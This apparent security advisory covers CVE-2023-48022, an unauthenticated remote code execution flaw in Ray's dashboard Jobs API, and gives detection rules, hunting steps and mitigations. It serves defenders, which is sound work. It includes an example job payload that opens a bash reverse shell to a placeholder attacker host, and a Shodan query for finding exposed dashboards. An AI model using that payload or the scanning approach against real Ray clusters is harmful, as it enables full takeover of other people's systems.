A critical remote code execution (RCE) vulnerability, tracked as CVE-2023-48022 with a CVSS score of 9.8, has been disclosed in the Ray open-source framework, a popular tool for scaling AI and Python applications. The vulnerability arises from a missing authentication control in the Ray Dashboard component, which is accessible by default. This oversight allows unauthenticated attackers to remotely submit jobs and execute arbitrary code with the permissions of the Ray instance.
The risk has been significantly amplified by the public release of a proof-of-concept (PoC) exploit, making it trivial for malicious actors to scan for and compromise vulnerable servers. Security scanning services like Shodan have identified over 1,700 internet-exposed Ray instances, putting valuable AI/ML infrastructure, sensitive training data, and computational resources at immediate risk. The framework's developer, Anyscale, has released a patch in version 2.7.0. All organizations using Ray versions 2.6.3 and earlier are strongly advised to upgrade immediately or apply the recommended mitigations to prevent a compromise.
The core of CVE-2023-48022 is an authentication bypass in the Ray Dashboard's Jobs API. By default, Ray clusters do not enforce authentication, exposing the dashboard and its powerful API to anyone with network access. An attacker can exploit this by sending a specially crafted HTTP POST request to the /api/jobs/ endpoint on the Ray Dashboard's default port, 8265.
The malicious request contains a JSON payload that defines a new job. The key parameter is entrypoint, which specifies the command to be executed on the Ray cluster's head node. By setting this to a malicious command (e.g., a reverse shell), an attacker can achieve remote code execution.
An example exploitation payload looks like this:
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'",
"runtime_env": {}
}
Upon receiving this request, the Ray cluster's Job Supervisor component will dutifully execute the command specified in entrypoint, giving the attacker full control over the node. This requires no user interaction and no prior authentication, making it a highly critical and easily exploitable vulnerability.
Any server or cluster running a vulnerable version of Ray with its dashboard port (8265/TCP) exposed to untrusted networks is at risk. This is particularly dangerous in cloud environments where misconfigured security groups can inadvertently expose the service to the public internet.
A proof-of-concept (PoC) exploit for CVE-2023-48022 was publicly released shortly after the vulnerability's disclosure. This has lowered the barrier to entry for attackers, and active scanning for vulnerable instances is expected. A simple Shodan query for "Ray" http.title:"Ray Dashboard" reveals over 1,700 publicly accessible Ray Dashboards, all of which are presumed vulnerable if running an unpatched version. Given the value of the underlying computational resources, these systems are prime targets for cryptojacking groups and other threat actors seeking to build botnets or steal proprietary data and AI models.
Successful exploitation of CVE-2023-48022 grants an attacker complete control over the Ray cluster, leading to severe business impacts:
T1496 - Resource Hijacking). This can lead to exorbitant cloud service bills and degradation of legitimate services.The exposure of AI/ML infrastructure represents a new frontier of risk. The intellectual property contained within these systems can be an organization's most valuable asset, making their compromise a potentially existential threat.
Security teams should proactively hunt for signs of vulnerability and exploitation using the following observables:
| Type | Value | Description |
|---|---|---|
| URL Pattern | /api/jobs/ |
Look for POST requests to this endpoint in web server or reverse proxy logs. Legitimate use may exist, but traffic from untrusted sources is highly suspicious. |
| Network Port | 8265/TCP |
The default port for the Ray Dashboard. Any inbound traffic to this port from the internet should be investigated immediately. |
| Process Execution | Child processes of dashboard.py |
Monitor for suspicious child processes (e.g., sh, bash, curl, wget) spawned by the Ray Dashboard process. |
| Log Source | dashboard.log, dashboard_agent.log |
Review Ray's internal logs for job submissions with unusual entrypoint commands or from unexpected sources. |
Defenders should implement the following detection and response strategies:
Asset Discovery: Immediately scan internal and external networks for systems running the Ray Dashboard on port 8265. Use vulnerability scanners or tools like nmap and Shodan to identify all exposed instances.
Log Analysis & Monitoring (D3-NTA: Network Traffic Analysis):
/api/jobs/ URI path.8265 from external IP addresses or internal segments that should not have access.ray.dashboard.agent or dashboard.py spawning shell processes.# Example SIEM Rule Logic
name: Possible Ray RCE Exploitation CVE-2023-48022
description: Detects POST requests to the vulnerable Ray Jobs API endpoint.
detection:
selection:
http_method: 'POST'
url_path: '/api/jobs/'
destination_port: 8265
filter:
- source_ip in [trusted_ip_list]
condition: selection and not filter
Threat Hunting:
8265 open to the internet.entrypoint fields within Ray's job submission logs.Incident Response: If a compromise is suspected, immediately isolate the affected Ray cluster from the network to prevent lateral movement. Preserve logs and system images for forensic analysis. Terminate any suspicious running jobs and hunt for persistence mechanisms.
Organizations must take immediate action to mitigate this vulnerability. Remediation should be prioritized as follows:
Patch (D3-SU: Software Update): The most effective solution is to upgrade all Ray instances to version 2.7.0 or newer. This version addresses the vulnerability by introducing authentication and better default security configurations.
Network Isolation (D3-NI: Network Isolation): If patching is not immediately possible, restrict access to the Ray Dashboard port (8265). Use a firewall, security group, or reverse proxy to ensure that only trusted IP addresses (such as from an internal management network or VPN) can connect to the dashboard.
CRITICAL: Under no circumstances should the Ray Dashboard be exposed to the public internet.
Configuration Hardening (D3-ACH: Application Configuration Hardening): When starting a Ray cluster, bind the head node to localhost to prevent it from listening on external network interfaces. This can be done using the --host=localhost flag. This ensures the dashboard is only accessible from the machine it is running on.
Audit and Verification: After applying mitigations, use a port scanner or external service to verify that port 8265 is no longer accessible from untrusted networks. Regularly audit cloud security group configurations to prevent accidental exposure in the future.
The primary mitigation is to upgrade all Ray instances to version 2.7.0 or later to apply the official patch from Anyscale.
Mapped D3FEND Techniques:
Use firewalls or cloud security groups to restrict network access to the Ray Dashboard (port 8265), ensuring it is not exposed to the public internet.
Mapped D3FEND Techniques:
Harden the Ray configuration by binding the service to localhost (`--host=localhost`) to prevent it from listening on external network interfaces.
Mapped D3FEND Techniques:
The most critical and effective defense against CVE-2023-48022 is to apply the available patch by upgrading to Ray version 2.7.0 or a newer release. This should be the top priority for any organization using the Ray framework. Implement a robust patch management program that includes asset inventory to identify all Ray instances across development, testing, and production environments. Prioritize patching for internet-facing or publicly accessible clusters first, followed by internal production clusters. Before deploying the patch to production, test it in a staging environment to ensure it does not negatively impact existing AI/ML workloads. Use automated deployment tools to roll out the update efficiently and consistently across all nodes in a cluster. After patching, verify the update was successful by checking the Ray version on each head node. This countermeasure directly remediates the root cause of the vulnerability, eliminating the threat of exploitation.
As a crucial compensating control, especially if immediate patching is not feasible, implement strict network isolation for all Ray Dashboard instances. The principle is to deny all access by default and only allow traffic from explicitly trusted sources. On cloud platforms like AWS, Azure, or GCP, configure security groups or network security rules to restrict all inbound traffic to the Ray Dashboard port (default 8265/TCP) to a small set of IP addresses, such as corporate VPNs, bastion hosts, or dedicated administrative subnets. For on-premise deployments, configure host-based firewalls (like iptables or Windows Firewall) and network firewalls to enforce the same policy. Under no circumstances should this port be open to the internet (0.0.0.0/0). This technique effectively shrinks the attack surface from global to a trusted few, mitigating the risk from opportunistic external attackers scanning the web for vulnerable targets. It serves as a vital defense-in-depth layer, even for patched systems.
To detect active exploitation attempts against Ray clusters, implement Network Traffic Analysis focused on the Ray Dashboard. Configure network monitoring tools, web application firewalls (WAF), or SIEM solutions to specifically inspect traffic destined for port 8265. Create a high-priority alert that triggers on any HTTP POST request to the /api/jobs/ URL path originating from an untrusted or external IP address. While legitimate job submissions use this endpoint, they should only come from known, internal systems. Correlate network data with threat intelligence feeds to block known malicious IPs. Furthermore, establish a baseline for normal traffic patterns to and from your Ray clusters. Monitor for anomalous data flows, such as large egress transfers to unusual destinations, which could indicate data exfiltration following a compromise. This detection strategy provides an opportunity to identify and respond to an attack in its early stages, even before a full compromise is achieved.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
Help others stay informed about cybersecurity threats